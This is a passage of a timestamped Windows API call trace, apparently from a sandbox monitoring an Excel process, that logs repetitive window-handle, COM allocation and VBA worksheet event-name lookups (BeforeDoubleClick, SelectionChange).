[0254.436] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0254.436] IsWindowEnabled (hWnd=0x202b0) returned 0 [0254.436] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0254.437] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0254.437] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0254.437] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0254.437] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0254.437] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0254.437] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0254.437] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0254.437] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0254.437] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0254.437] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0254.437] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0254.437] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0254.437] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0254.437] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0254.437] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0254.437] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0254.437] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0254.437] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0254.437] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0254.438] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0254.438] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x4d0a4a0 [0254.438] IMalloc:Free (This=0x7feffc15380, pv=0x4d0a4a0) [0257.551] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0257.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0257.552] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0257.552] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0257.552] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0257.575] GetCurrentThreadId () returned 0x8fc [0257.575] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0257.575] GetDesktopWindow () returned 0x10010 [0257.575] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0257.575] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0257.575] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0257.575] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0257.575] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0257.575] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0257.575] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0257.575] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0257.575] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0257.575] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0257.575] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0257.575] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0257.576] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0257.576] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0257.576] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0257.576] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0257.576] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0257.576] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0257.576] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0257.576] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0257.576] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0257.576] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0257.576] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0257.576] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0257.576] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0257.576] IsWindowEnabled (hWnd=0x202b0) returned 1 [0257.576] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0257.576] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0257.576] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0257.576] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0257.576] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0257.577] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0257.577] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0257.577] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0257.577] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0257.577] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0257.577] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0257.577] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0257.577] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0257.577] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0257.577] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0257.577] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0257.577] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0257.577] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0257.577] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0257.577] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0257.577] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0257.577] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x4d08f00 [0257.578] IMalloc:Free (This=0x7feffc15380, pv=0x4d08f00) [0257.961] GetAsyncKeyState (vKey=27) returned 0 [0257.962] GetCurrentThreadId () returned 0x8fc [0257.962] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0257.962] GetDesktopWindow () returned 0x10010 [0257.962] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0257.962] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0257.962] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0257.962] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0257.962] GetWindowLongPtrA (hWnd=0xf028c, nIndex=-6) returned 0x7feef2c0000 [0257.962] GetWindowLongPtrA (hWnd=0xf028c, nIndex=-6) returned 0x7feef2c0000 [0257.962] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0257.962] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0257.962] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0257.962] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0257.962] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0257.962] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0257.962] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0257.962] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0257.963] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0257.963] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0257.963] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0257.963] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0257.963] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0257.963] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0257.963] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0257.963] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0257.963] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0257.963] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0257.963] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0257.963] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0257.963] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0257.963] IsWindowEnabled (hWnd=0x202b0) returned 0 [0257.963] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0257.963] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0257.963] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0257.963] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0257.963] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0257.963] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0257.964] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0257.964] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0257.964] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0257.964] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0257.964] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0257.964] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0257.964] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0257.964] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0257.964] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0257.964] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0257.964] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0257.964] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0257.964] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0257.964] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0257.964] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0257.964] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x4d08f00 [0257.965] IMalloc:Free (This=0x7feffc15380, pv=0x4d08f00) [0261.111] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0261.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0261.112] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0261.112] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0261.112] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0261.144] GetCurrentThreadId () returned 0x8fc [0261.144] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0261.145] GetDesktopWindow () returned 0x10010 [0261.145] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0261.145] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0261.145] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0261.145] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0261.145] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0261.146] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0261.146] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0261.146] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0261.146] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0261.146] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0261.146] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0261.146] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0261.146] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0261.146] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0261.147] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0261.147] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0261.147] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0261.147] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0261.147] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0261.147] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0261.147] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0261.147] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0261.147] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0261.147] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0261.147] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0261.147] IsWindowEnabled (hWnd=0x202b0) returned 1 [0261.147] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0261.148] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0261.148] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0261.148] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0261.148] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0261.149] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0261.149] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0261.149] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0261.149] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0261.157] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0261.157] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0261.158] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0261.158] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0261.158] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0261.158] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0261.158] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0261.158] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0261.158] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0261.158] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0261.158] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0261.158] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0261.158] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x24acc70 [0261.159] IMalloc:Free (This=0x7feffc15380, pv=0x24acc70) [0261.536] GetAsyncKeyState (vKey=27) returned 0 [0261.537] GetCurrentThreadId () returned 0x8fc [0261.537] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0261.537] GetDesktopWindow () returned 0x10010 [0261.537] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0261.537] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0261.537] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0261.537] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0261.538] GetWindowLongPtrA (hWnd=0x2102e6, nIndex=-6) returned 0x7feef2c0000 [0261.538] GetWindowLongPtrA (hWnd=0x2102e6, nIndex=-6) returned 0x7feef2c0000 [0261.538] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0261.538] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0261.538] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0261.538] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0261.538] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0261.538] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0261.539] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0261.539] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0261.539] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0261.539] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0261.539] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0261.539] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0261.539] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0261.540] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0261.540] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0261.540] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0261.540] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0261.540] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0261.540] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0261.540] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0261.540] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0261.540] IsWindowEnabled (hWnd=0x202b0) returned 0 [0261.540] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0261.540] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0261.540] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0261.541] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0261.541] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0261.541] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0261.541] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0261.541] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0261.541] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0261.541] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0261.541] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0261.541] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0261.541] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0261.541] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0261.541] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0261.541] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0261.542] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0261.542] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0261.542] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0261.542] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0261.542] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0261.542] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd15b20 [0261.543] IMalloc:Free (This=0x7feffc15380, pv=0xbd15b20) [0264.758] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa000000345 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa000000345) returned 0x0 [0264.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0264.758] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0264.758] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0264.758] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0264.759] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0264.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0264.759] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0264.759] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0264.759] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0264.787] GetCurrentThreadId () returned 0x8fc [0264.787] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0264.788] GetDesktopWindow () returned 0x10010 [0264.788] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0264.788] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0264.788] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0264.788] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0264.788] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0264.788] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0264.788] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0264.788] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0264.788] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0264.788] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0264.788] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0264.788] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0264.788] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0264.788] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0264.788] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0264.788] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0264.789] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0264.789] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0264.789] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0264.789] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0264.789] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0264.789] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0264.789] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0264.789] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0264.789] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0264.789] IsWindowEnabled (hWnd=0x202b0) returned 1 [0264.789] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0264.789] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0264.789] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0264.789] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0264.789] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0264.789] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0264.789] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0264.790] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0264.790] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0264.790] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0264.790] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0264.790] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0264.790] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0264.790] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0264.790] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0264.790] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0264.790] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0264.790] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0264.790] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0264.790] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0264.790] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0264.790] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd15800 [0264.790] IMalloc:Free (This=0x7feffc15380, 